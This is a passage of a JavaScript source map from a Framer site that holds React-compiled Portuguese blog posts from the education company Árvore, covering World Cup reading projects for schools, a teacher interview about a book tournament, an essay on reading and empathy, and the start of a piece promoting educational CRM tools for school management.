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  "sourcesContent": ["import{jsx as e,jsxs as a}from\"react/jsx-runtime\";import{Link as o}from\"framer\";import{motion as s}from\"framer-motion\";import*as r from\"react\";export const richText=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Um dos maiores eventos mundiais est\\xe1 chegando e se voc\\xea est\\xe1 procurando ideias que combinem o campeonato de futebol com pr\\xe1ticas pedag\\xf3gicas, escrevemos este texto para voc\\xea! \"}),/*#__PURE__*/e(\"p\",{children:\"Aqui, destacamos quatro dicas especiais de como trabalhar a Copa do Mundo na escola. E para inspirar, trouxemos a pr\\xe1tica de sucesso da semeadora Cristiane Marassi, do Col\\xe9gio Notre Dame, unidade Recreio (RJ).\"}),/*#__PURE__*/a(\"p\",{children:[\"Com mais de 15 anos de ch\\xe3o de escola, a pedagoga compartilha conosco como engajou seus alunos em um projeto liter\\xe1rio intitulado \",/*#__PURE__*/e(\"em\",{children:\"Torneio de Leitura\"}),\".\"]}),/*#__PURE__*/e(\"p\",{children:\"O projeto combinou diversas atividades e incentivou a leitura de mais de 700 livros no primeiro semestre do ano! Vem conhecer as dicas e essa experi\\xeancia encantadora de perto!\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"A Copa do Mundo na escola\"})}),/*#__PURE__*/e(\"p\",{children:\"A Copa do Mundo, tamb\\xe9m conhecida como Mundial de futebol, \\xe9 uma competi\\xe7\\xe3o que envolve diversos pa\\xedses do planeta. Organizada pela Federa\\xe7\\xe3o Internacional de Futebol (FIFA), acontece a cada quatro anos em pa\\xedses escolhidos via sorteio.\"}),/*#__PURE__*/e(\"p\",{children:\"O evento, que se iniciou em 1930, mobiliza a FIFA, v\\xe1rios pa\\xedses do mundo inteiro e os mais experientes jogadores, e tamb\\xe9m toma a aten\\xe7\\xe3o de milh\\xf5es de espectadores a vibrarem e torcerem pelos seus pa\\xedses.\"}),/*#__PURE__*/e(\"p\",{children:\"Essa energia contagiante, cativa crian\\xe7as e adolescentes que se movimentam na busca de figurinhas selecionadas para completarem os famosos \\xe1lbuns da Copa do Mundo!\"}),/*#__PURE__*/e(\"p\",{children:\"E t\\xe3o logo os corredores das escolas s\\xe3o tomados pelo burburinho da euforia da troca de figurinhas! E a pergunta que n\\xe3o quer calar: educador, voc\\xea sabe como aproveitar toda essa anima\\xe7\\xe3o da Copa do Mundo na escola? Ent\\xe3o, vamos \\xe0s dicas!\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"1 - \\xc1lbum de figurinhas da Copa do Mundo\"})}),/*#__PURE__*/e(\"p\",{children:\"Sabia que \\xe9 poss\\xedvel combinar leitura e os amados \\xe1lbuns? A ideia, nesta atividade, \\xe9 aliar o elemento de engajamento da Copa do Mundo na escola ao desenvolvimento da habilidade leitora. A a\\xe7\\xe3o proposta \\xe9 mais indicada para os Anos Iniciais do Ensino Fundamental, mas voc\\xea, educador, pode adaptar de acordo com sua necessidade e criatividade!\"}),/*#__PURE__*/e(\"p\",{children:\"Vamos l\\xe1: primeiro, fa\\xe7a uma sele\\xe7\\xe3o dos livros que deseja que os estudantes leiam no semestre ou, at\\xe9 mesmo, pe\\xe7a para que escolham as leituras que gostariam de realizar. \"}),/*#__PURE__*/a(\"p\",{children:[\"Ap\\xf3s a escolha, crie um \\xe1lbum e transforme as capas dos livros em figurinhas. A cada nova leitura conclu\\xedda, uma figurinha deve ser adicionada. Se todos os espa\\xe7os forem preenchidos, o estudante pode receber da escola uma recompensa especial, a figurinha de \",/*#__PURE__*/e(\"em\",{children:\"Super Leitor\"}),\"! \"]}),/*#__PURE__*/e(\"p\",{children:\"Educador, o que achou dessa ideia? Essa pr\\xe1tica foi trazida \\xe0 nossa comunidade dos Semeadores de Leitura pelas bibliotec\\xe1rias da escola Santa \\xdarsula, Rio de Janeiro. Obrigada pela partilha, Semeadoras!\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"2 - Passaporte de leitura\"})}),/*#__PURE__*/e(\"p\",{children:\"Outra ideia super interessante que tamb\\xe9m vem compartilhada da escola Santa \\xdarsula, \\xe9 o passaporte de leitura. Aqui, a proposta \\xe9 trabalhar com estudantes dos Anos Finais do Ensino Fundamental.\"}),/*#__PURE__*/e(\"p\",{children:\"Com t\\xedtulos previamente selecionados, a cada nova leitura conclu\\xedda pelos alunos, o estudante ganha um selo ou carimbo em seu passaporte confeccionado pela turma. \"}),/*#__PURE__*/e(\"p\",{children:\"Mas o passaporte deve conter desafios maiores como: question\\xe1rios, atividades para completar o g\\xeanero liter\\xe1rio do livro, acontecimentos e personagens. Outros conte\\xfados tamb\\xe9m podem ser explorados de acordo com a \\xe1rea do conhecimento dos professores envolvidos. \"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"3 - Viajando mundo afora!\"})}),/*#__PURE__*/e(\"p\",{children:\"Que tal reunir v\\xe1rias turmas da escola para um mergulho cultural? Esta ideia pode ser facilmente utilizada em diferentes \\xe1reas do conhecimento ou conduzida com uma abordagem transdisciplinar.\"}),/*#__PURE__*/e(\"p\",{children:\"Primeiro, envolva diversas turmas dos Anos Iniciais, Finais ou Ensino M\\xe9dio e fa\\xe7a um sorteio com os nomes de todos os pa\\xedses que v\\xe3o participar da Copa do Mundo. A proposta \\xe9 que cada turma represente um dos pa\\xedses sorteados em uma grande mostra cultural.\"}),/*#__PURE__*/e(\"p\",{children:\"Dentro de cada turma, os alunos podem se dividir em grupo e ficarem respons\\xe1veis por um aspecto do pa\\xeds. A pesquisa sobre a m\\xfasica, a comida, a economia, a regi\\xe3o e o clima vai ampliar o repert\\xf3rio cultural dos estudantes.\"}),/*#__PURE__*/e(\"p\",{children:\"E claro, aprender sobre a origem e hist\\xf3ria de vida dos jogadores em di\\xe1logo com os aspectos anteriores, pode enriquecer a perspectiva sobre a Copa do Mundo.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"4 - Hist\\xf3ria e Copa do Mundo na escola! \"})}),/*#__PURE__*/e(\"p\",{children:\"Seus estudantes j\\xe1 leram um livro de um escritor da Nig\\xe9ria? E do L\\xedbano? E da S\\xedria? O que acha de aproveitar a Copa do Mundo na escola para expandir horizontes, conhecer novas culturas e aprender sobre a hist\\xf3ria mundial?\"}),/*#__PURE__*/e(\"p\",{children:\"Tamb\\xe9m por meio de um sorteio dos participantes da Copa do Mundo, os alunos devem ser apresentados a livros da literatura de cada pa\\xeds.\"}),/*#__PURE__*/e(\"p\",{children:\"No momento posterior \\xe0 leitura, re\\xfana-os em uma roda de conversa. E incentive que compartilhem suas impress\\xf5es, perspectivas e narrativa sobre o t\\xedtulo. \"}),/*#__PURE__*/e(\"p\",{children:\"Ap\\xf3s finalizada essa etapa, nossa proposta \\xe9 aliar o livro \\xe0 hist\\xf3ria do pa\\xeds. Os alunos podem criar cartazes, apresenta\\xe7\\xf5es ou v\\xeddeos curtos sobre o que descobriram do contexto hist\\xf3rico da narrativa e seu autor. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como a gest\\xe3o e a coordena\\xe7\\xe3o podem apoiar?\"})}),/*#__PURE__*/e(\"p\",{children:\"Educadores, todas as a\\xe7\\xf5es que compartilhamos aqui exigem o apoio da coordena\\xe7\\xe3o e gest\\xe3o escolar. \\xc9 fundamental que a administra\\xe7\\xe3o da escola d\\xea suporte e incentivo aos professores. \"}),/*#__PURE__*/e(\"p\",{children:\"Principalmente trazendo as fam\\xedlias mais para perto, para apoiarem nas atividades executadas pelos estudantes e compartilharem dessa energia. O que pode ser um bom incentivo para o fortalecimento de la\\xe7os da comunidade escolar. \"}),/*#__PURE__*/a(\"p\",{children:[\"Essas a\\xe7\\xf5es, se trabalhadas com intencionalidade pedag\\xf3gica e planejamento, mobilizam diversos aprendizados atrav\\xe9s do desenvolvimento de habilidades e compet\\xeancias da \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/abase/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"BNCC\"})}),\".\"]}),/*#__PURE__*/e(\"p\",{children:\"Tais como o repert\\xf3rio cultural e a responsabilidade e cidadania. Elas t\\xeam o prop\\xf3sito de fazer com que o estudante compreenda e reflita sobre sua origem, lugar no mundo, direitos e deveres seus e dos outros.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Confira depoimento sobre pr\\xe1tica pedag\\xf3gica\"})}),/*#__PURE__*/a(\"p\",{children:[\"Agora, vamos conhecer a pr\\xe1tica elaborada pela professora Cristiane Marassi. Educadora que compartilhou sua experi\\xeancia em nossa comunidade de boas pr\\xe1ticas, o Programa \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/semeadores\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Semeadores de Leitura\"})}),\".\"]}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Cristiane, voc\\xea poderia compartilhar com a gente a execu\\xe7\\xe3o de um trabalho que ficou muito famoso na nossa comunidade de boas pr\\xe1ticas, o Torneio Liter\\xe1rio? Qual a inspira\\xe7\\xe3o para a ideia?\"})})})}),/*#__PURE__*/e(\"p\",{children:\"Come\\xe7amos o ano com as mesmas atividades do ano anterior, mas eu queria alguma ideia para alavancar a leitura deles. Eu adoro futebol! Sou uma flamenguista ferrenha! O assunto futebol e competi\\xe7\\xf5es realmente envolvia a turma.\"}),/*#__PURE__*/e(\"p\",{children:\"Eu j\\xe1 havia visto algo bem parecido com um chaveamento de livros na internet, mas, pelo que entendi, a ideia era um livro desbancando o anterior. Ent\\xe3o pensei: por que n\\xe3o um torneio, em que os livros seriam os competidores e a vit\\xf3ria de cada livro dependesse da avalia\\xe7\\xe3o dos leitores?\"}),/*#__PURE__*/a(\"p\",{children:[\"Far\\xedamos isso: como em um torneio de futebol, com oitavas de final, quartas de final, semifinais e a final para chegar aos campe\\xf5es. A princ\\xedpio, pensei nessa atividade para o segundo semestre, mas a\\xed a \\xc1rvore lan\\xe7ou um \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/olimpiada\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Concurso Liter\\xe1rio\"})}),\", a Maratona de Livros.\"]}),/*#__PURE__*/e(\"p\",{children:\"Ent\\xe3o decidimos aliar a Maratona ao nosso torneio. Montamos um mural com o chaveamento dos 16 livros a serem trabalhados, um chaveamento com os mesmos livros para as duas turmas do 5\\xb0 ano. \"}),/*#__PURE__*/e(\"p\",{children:\"Afinal, consideramos que os resultados poderiam ser diferentes para as duas turmas. E foram! Tivemos dois livros campe\\xf5es diferentes.\"}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como foi a experi\\xeancia do projeto e o envolvimento dos alunos?\"})})})}),/*#__PURE__*/e(\"p\",{children:\"No processo do torneio, indic\\xe1vamos o livro da vez e a data limite para a sua leitura. Na data indicada, sempre retom\\xe1vamos a hist\\xf3ria e debat\\xedamos sobre ela, mas n\\xe3o par\\xe1vamos nesse ponto. Para cada livro lido, havia alguma atividade relacionada.\"}),/*#__PURE__*/e(\"p\",{children:\"Assim, al\\xe9m de algumas fichas de leitura e interpreta\\xe7\\xe3o de textos, fizemos diversas atividades diferentes. \"}),/*#__PURE__*/a(\"p\",{children:[\"Como exemplo: um sarau de poesias sobre o livro \",/*#__PURE__*/e(\"em\",{children:\"Ch\\xe1 de Sumi\\xe7o\"}),\", em que os alunos escolheram a poesia para ler e podiam vir vestidos a car\\xe1ter para apresent\\xe1-la; uma releitura de uma quadro de Magritte, ap\\xf3s lerem o livro\",/*#__PURE__*/e(\"em\",{children:\" O segredo de Magritte. \"})]}),/*#__PURE__*/a(\"p\",{children:[\"Ap\\xf3s a leitura do livro \",/*#__PURE__*/e(\"em\",{children:\"Mog - a gata esquecida\"}),\", os estudantes montaram uma gata em 3D, com as caracter\\xedsticas da personagem e a utilizaram em uma atividade sobre interjei\\xe7\\xe3o. J\\xe1 o livro \",/*#__PURE__*/e(\"em\",{children:\"20.000 l\\xe9guas submarinas em quadrinhos \"}),\"virou uma atividade no \",/*#__PURE__*/e(\"em\",{children:\"Kahoot\"}),\", com direito \\xe0s estrelas de ouro, prata e bronze, feitas com EVA de glitter, para os tr\\xeas primeiros colocados.\"]}),/*#__PURE__*/a(\"p\",{children:[\"J\\xe1 com o livro \",/*#__PURE__*/e(\"em\",{children:\"MMMMM\"}),\", t\\xedtulo que compunha a atividade proposta na Maratona de Leitura, al\\xe9m de representar o desafio da leitura de \u201Cum livro enorme de mais de 100 p\\xe1ginas!\u201D, segundo os alunos, foi transformado em um jogo de cartas no estilo do jogo Perfil. E assim por diante!\"]}),/*#__PURE__*/e(\"p\",{children:\"Ao final de cada atividade, os estudantes davam a sua nota de 0 a 10 para cada livro. Foi isso que definiu os campe\\xf5es nas oitavas de final. Depois, retom\\xe1vamos as hist\\xf3rias para definir os campe\\xf5es pelos votos da maioria. \"}),/*#__PURE__*/e(\"p\",{children:\"Quando chegamos nas semifinais e na final, teve at\\xe9 torcida para cada livro e cartazes de campanha para o livro preferido. Foi divertido para todos eles e para mim tamb\\xe9m! O resultado, especificamente na minha turma com 32 alunos: passamos dos 700 livros lidos pela turma, no final do semestre, ao final do torneio!\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Sobre a Comunidade Semeadores de leitura\"})}),/*#__PURE__*/a(\"p\",{children:[\"Para quem ainda n\\xe3o conhece, a \\xc1rvore possui uma comunidade exclusiva de educadores que se apoiam e compartilham diversas ideias de atividades para forma\\xe7\\xe3o leitora dos estudantes: o \",/*#__PURE__*/e(\"em\",{children:\"Semeadores de Leitura\"}),\"!\"]}),/*#__PURE__*/e(\"p\",{children:\"Na comunidade, os Semeadores compartilham d\\xfavidas, dicas de livros e outras experi\\xeancias desenvolvidas nas suas escolas com crian\\xe7as e jovens. De acordo com a educadora entrevistada, fazer parte da comunidade dos semeadores significa ter acesso a troca de ideias e trabalhos realizados que\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"em\",{children:\" \u201Cgeram novas ideias e atividades a serem aproveitadas e transformadas de acordo com a realidade de cada um.\u201D\"}),\" \"]}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/a(\"p\",{children:[\"Educador, quer saber como a \\xc1rvore conseguiu montar uma comunidade com professores de todo o pa\\xeds? Confira nosso \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/semeadores-de-leitura\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"post sobre o Semeadores de Leitura\"})}),\"!\"]}),/*#__PURE__*/e(\"p\",{children:\"\u200D\"})]});export const richText1=/*#__PURE__*/e(r.Fragment,{children:/*#__PURE__*/a(\"p\",{children:[\"Voc\\xea sabia que a leitura, especialmente a de literatura e fic\\xe7\\xe3o, \\xe9 culpada por uma crise de identidade do leitor? Mas calma, essa crise \\xe9 positiva, e ajuda a criar pessoas mais tolerantes e emp\\xe1ticas.\",/*#__PURE__*/e(o,{href:\"http://blog.arvoredelivros.com.br/os-cinco-processos-da-leitura/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"J\\xe1 vimos anteriormente\"})}),\" que a leitura n\\xe3o \\xe9 apenas a decodifica\\xe7\\xe3o dos signos gr\\xe1ficos que est\\xe3o impressos no papel, ou s\\xe3o projetados na tela do seu computador, celular ou tablet. A leitura \\xe9 um processo complexo, que resulta na aquisi\\xe7\\xe3o de experi\\xeancias. E s\\xe3o essas experi\\xeancias que causam uma crise de identidade dentro do leitor.Mas como isso acontece?Segundo o linguista franc\\xeas Vincent Jouve, a leitura \\xe9 ao mesmo tempo \",/*#__PURE__*/e(\"em\",{children:\"liberta\\xe7\\xe3o\"}),\" e \",/*#__PURE__*/e(\"em\",{children:\"preenchimento\"}),\". A liberta\\xe7\\xe3o acontece quando voc\\xea, ao ler um livro, foge, liberta-se, por meio da imagina\\xe7\\xe3o, das amarras que te prendem ao seu cotidiano. J\\xe1 o preenchimento \\xe9 o momento em que, aniquilado o mundo real, voc\\xea cria um outro mundo dentro de voc\\xea \u2013 o mundo dentro do livro, reconstru\\xeddo por sua imagina\\xe7\\xe3o. Ou seja, ao ler, voc\\xea esquece da sua realidade e recria o mundo do livro dentro da sua cabe\\xe7a.Enquanto estiver lendo, o leitor esquece os problemas di\\xe1rios e passa a se interessar pela vida e pelo destino das personagens, que possuem problemas diferentes dos seus ou encaram os mesmos problemas de formas inusitadas e in\\xe9ditas. \\xc9 como se o leitor \u201Cencarnasse\u201D as personagens ou o autor, passando a entender diferentes formas de enfrentar o mundo e, assim, modificar seu olhar sobre a realidade.Essa \u201Cencarna\\xe7\\xe3o do outro\u201D \\xe9 uma das coisas mais fant\\xe1sticas e estranhas sobre a leitura, pois tudo o que pensamos \\xe9 parte de n\\xf3s, mas quando estamos lendo, passamos a ter ideias que s\\xe3o parte de outra pessoa (da personagem ou do autor). \\xc9 como se par\\xe1ssemos de existir por um momento, e nos torn\\xe1ssemos uma outra pessoa.Isso gera uma verdadeira \",/*#__PURE__*/e(\"em\",{children:\"crise de identidade\"}),\". Mas como dissemos, ela \\xe9 positiva, porque possibilita que o leitor tenha contato com pontos de vista e formas de pensar diversos e acabe por ampliar suas pr\\xf3prias experi\\xeancias e, assim, compreender melhor a realidade, e como outras pessoas diferentes dele pensam.Uma vez que voc\\xea consegue compreender que existem formas de pensar diferentes da sua, consegue tamb\\xe9m se colocar no lugar do outro e, dessa forma, se tornar uma pessoa mais emp\\xe1tica e tolerante. Num mundo t\\xe3o polarizado quanto o que vivemos hoje, em que as pessoas possuem opini\\xf5es t\\xe3o antag\\xf4nicas, talvez tudo o que estejamos precisando \\xe9 ler mais literatura.\"]})});export const richText2=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Como gestor escolar, voc\\xea sabe a import\\xe2ncia de manter uma boa rela\\xe7\\xe3o com as fam\\xedlias. Uma boa comunica\\xe7\\xe3o tamb\\xe9m \\xe9 essencial para atrair novos alunos e mant\\xea-los matriculados. \"}),/*#__PURE__*/e(\"p\",{children:\"Para ajud\\xe1-lo nesta tarefa, apresentamos o CRM educacional, um sistema de gest\\xe3o de relacionamento com o cliente que pode revolucionar a forma como sua escola \\xe9 gerida.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que \\xe9 o CRM Educacional?\"})}),/*#__PURE__*/e(\"p\",{children:\"O CRM, sigla para Customer Relationship Management (em portugu\\xeas, Gest\\xe3o de Relacionamento com o Cliente), \\xe9 uma ferramenta que ajuda a gest\\xe3o de relacionamento com o cliente, ou seja, com as fam\\xedlias dos alunos da sua escola. \"}),/*#__PURE__*/a(\"p\",{children:[\"O sistema escolhido pela institui\\xe7\\xe3o ir\\xe1 permitir a gest\\xe3o de todo o \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/comunicacao-familia-escola\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"processo de relacionamento com os alunos e pais\"})}),\", desde a capta\\xe7\\xe3o at\\xe9 a reten\\xe7\\xe3o. \"]}),/*#__PURE__*/e(\"p\",{children:\"Ou seja, \\xe9 uma plataforma que armazena dados de contato e permite a intera\\xe7\\xe3o com os clientes cadastrados, seja atrav\\xe9s de e-mail ou redes sociais.\"}),/*#__PURE__*/e(\"p\",{children:\"Na educa\\xe7\\xe3o, o CRM pode ser usado para coletar informa\\xe7\\xf5es de contato das fam\\xedlias, al\\xe9m de analisar a jornada das mesmas desde a matr\\xedcula at\\xe9 o per\\xedodo atual. \"}),/*#__PURE__*/a(\"p\",{children:[\"Assim, \\xe9 poss\\xedvel criar canais de comunica\\xe7\\xe3o e estrat\\xe9gias personalizadas para atrair e \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/campanha-de-matricula-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"reter alunos\"})}),\", al\\xe9m de melhorar a comunica\\xe7\\xe3o e a satisfa\\xe7\\xe3o das fam\\xedlias na escola.\"]}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/umi8q1jxGG3GxkCfZ02xy05K7Y.webp\",srcSet:\"https://framerusercontent.com/images/umi8q1jxGG3GxkCfZ02xy05K7Y.webp?scale-down-to=512 512w,https://framerusercontent.com/images/umi8q1jxGG3GxkCfZ02xy05K7Y.webp 600w\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Quais as aplica\\xe7\\xf5es do CRM Educacional?\"})}),/*#__PURE__*/e(\"p\",{children:\"O CRM Educacional pode ser muito \\xfatil para organizar, acessar e analisar informa\\xe7\\xf5es sobre fam\\xedlias e alunos, ajudando a melhorar a capta\\xe7\\xe3o de novos estudantes e a reten\\xe7\\xe3o dos atuais. Algumas das aplica\\xe7\\xf5es incluem:\"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Capta\\xe7\\xe3o de alunos: \"}),\"o CRM pode ajudar a identificar os melhores leads (clientes ideais) para a sua escola, permitindo que voc\\xea invista em campanhas de marketing mais eficazes.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Relacionamento com o cliente\"}),\": o CRM permite que voc\\xea mantenha um hist\\xf3rico de intera\\xe7\\xf5es com seus alunos e pais, ajudando a criar um relacionamento mais pr\\xf3ximo e personalizado.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Reten\\xe7\\xe3o de alunos:\"}),\" o CRM permite que voc\\xea identifique poss\\xedveis riscos de reten\\xe7\\xe3o e desenvolva estrat\\xe9gias para mant\\xea-los matriculados.\"]})})]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Quais s\\xe3o as vantagens do CRM na Educa\\xe7\\xe3o?\"})}),/*#__PURE__*/e(\"p\",{children:\"A aplica\\xe7\\xe3o de um CRM educacional pode trazer v\\xe1rias vantagens para sua escola, incluindo:\"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Maior efici\\xeancia: \"}),\"o CRM automatiza muitas tarefas repetitivas (como mandar e-mails para todas as fam\\xedlias), permitindo que voc\\xea aloque mais tempo para outras atividades importantes.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Melhor vis\\xe3o da jornada de alunos e fam\\xedlias:\"}),\" permite uma vis\\xe3o mais clara e completa dos alunos e respons\\xe1veis, o que facilita a tomada de decis\\xf5es estrat\\xe9gicas sobre como melhorar a \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/marketing-educacional-saiba-como-atrair-mais-alunos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"capta\\xe7\\xe3o de novos alunos\"})}),\" e a reten\\xe7\\xe3o dos atuais.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Maior satisfa\\xe7\\xe3o dos clientes: \"}),\"o CRM permite que voc\\xea mantenha um hist\\xf3rico de intera\\xe7\\xf5es com as fam\\xedlias, identificando oportunidades e desafios nesta comunica\\xe7\\xe3o.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Personaliza\\xe7\\xe3o da comunica\\xe7\\xe3o:\"}),\" outra grande vantagem do CRM educacional \\xe9 a sua capacidade de personaliza\\xe7\\xe3o de campanhas de marketing. Com ele, \\xe9 poss\\xedvel criar campanhas segmentadas e personalizadas para diferentes grupos de alunos e pais, aumentando a efic\\xe1cia dessas a\\xe7\\xf5es. \"]})})]})]});export const richText3=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como aplicar o CRM na sua escola?\"})}),/*#__PURE__*/e(\"p\",{children:\"O CRM Educacional pode ser aplicado em diferentes frentes na escola. Tudo com o objetivo de facilitar o trabalho da equipe de gest\\xe3o escolar e garantir uma experi\\xeancia positiva para os alunos e seus respons\\xe1veis. Algumas das aplica\\xe7\\xf5es do CRM educacional incluem: \"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Gerenciamento de contatos\"})}),/*#__PURE__*/e(\"p\",{children:\"Com uma ferramenta de CRM, \\xe9 poss\\xedvel gerenciar em um \\xfanico lugar todos os contatos da sua escola. Na plataforma, voc\\xea pode criar segmenta\\xe7\\xf5es e listas espec\\xedficas de contatos e analisar os percursos deles.\"}),/*#__PURE__*/e(\"p\",{children:\"Assim, \\xe9 poss\\xedvel entender quais contatos abriram determinado comunicado, quais visitaram uma p\\xe1gina espec\\xedfica do seu site, quais leram uma mat\\xe9ria do seu blog, etc. \"}),/*#__PURE__*/a(\"p\",{children:[\"Com essas informa\\xe7\\xf5es, o gestor escolar consegue identificar as fam\\xedlias mais engajadas e aquelas que precisam de mais aten\\xe7\\xe3o na hora da \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/por-que-e-importante-investir-em-comunicacao-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"comunica\\xe7\\xe3o escolar\"})}),\".\"]}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, \\xe9 poss\\xedvel utilizar a ferramenta para se comunicar com outros p\\xfablicos, como professores e profissionais da escola, fornecedores e parceiros, al\\xe9m de poss\\xedveis novos clientes para sua escola.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Gest\\xe3o de informa\\xe7\\xf5es sobre fam\\xedlias e alunos\"})}),/*#__PURE__*/e(\"p\",{children:\"Com a plataforma de CRM, \\xe9 poss\\xedvel gerir e armazenar dados de contato e informa\\xe7\\xf5es \\xfateis sobre fam\\xedlias e alunos.\"}),/*#__PURE__*/e(\"p\",{children:\"Com os dados em m\\xe3os, \\xe9 poss\\xedvel tomar decis\\xf5es mais assertivas e eficientes para o processo comunicacional.\"}),/*#__PURE__*/e(\"p\",{children:\"Assim, voc\\xea poder\\xe1 enviar comunicados espec\\xedficos (por exemplo, uma mensagem para as m\\xe3es de alunos em datas comemorativas) ou entender quantos contatos ao todo sua escola possui das turmas de Ensino M\\xe9dio. E por a\\xed vai: com a ferramenta, \\xe9 poss\\xedvel gerir todos os contatos de uma s\\xf3 vez.\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/vz3Xj0UkXJlcO0oZcmcOMscjCbI.png\",srcSet:\"https://framerusercontent.com/images/vz3Xj0UkXJlcO0oZcmcOMscjCbI.png?scale-down-to=512 512w,https://framerusercontent.com/images/vz3Xj0UkXJlcO0oZcmcOMscjCbI.png 600w\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Gest\\xe3o de matr\\xedculas\"})}),/*#__PURE__*/a(\"p\",{children:[\"Uma plataforma de CRM educacional vai permitir a automatiza\\xe7\\xe3o de todo \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/rematricula-escolar-como-garantir-sucesso\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"processo de matr\\xedculas na escola\"})}),\". Desde o comunicado de an\\xfancio, at\\xe9 os refor\\xe7os na comunica\\xe7\\xe3o e poss\\xedveis respostas autom\\xe1ticas para sanar as d\\xfavidas das fam\\xedlias neste 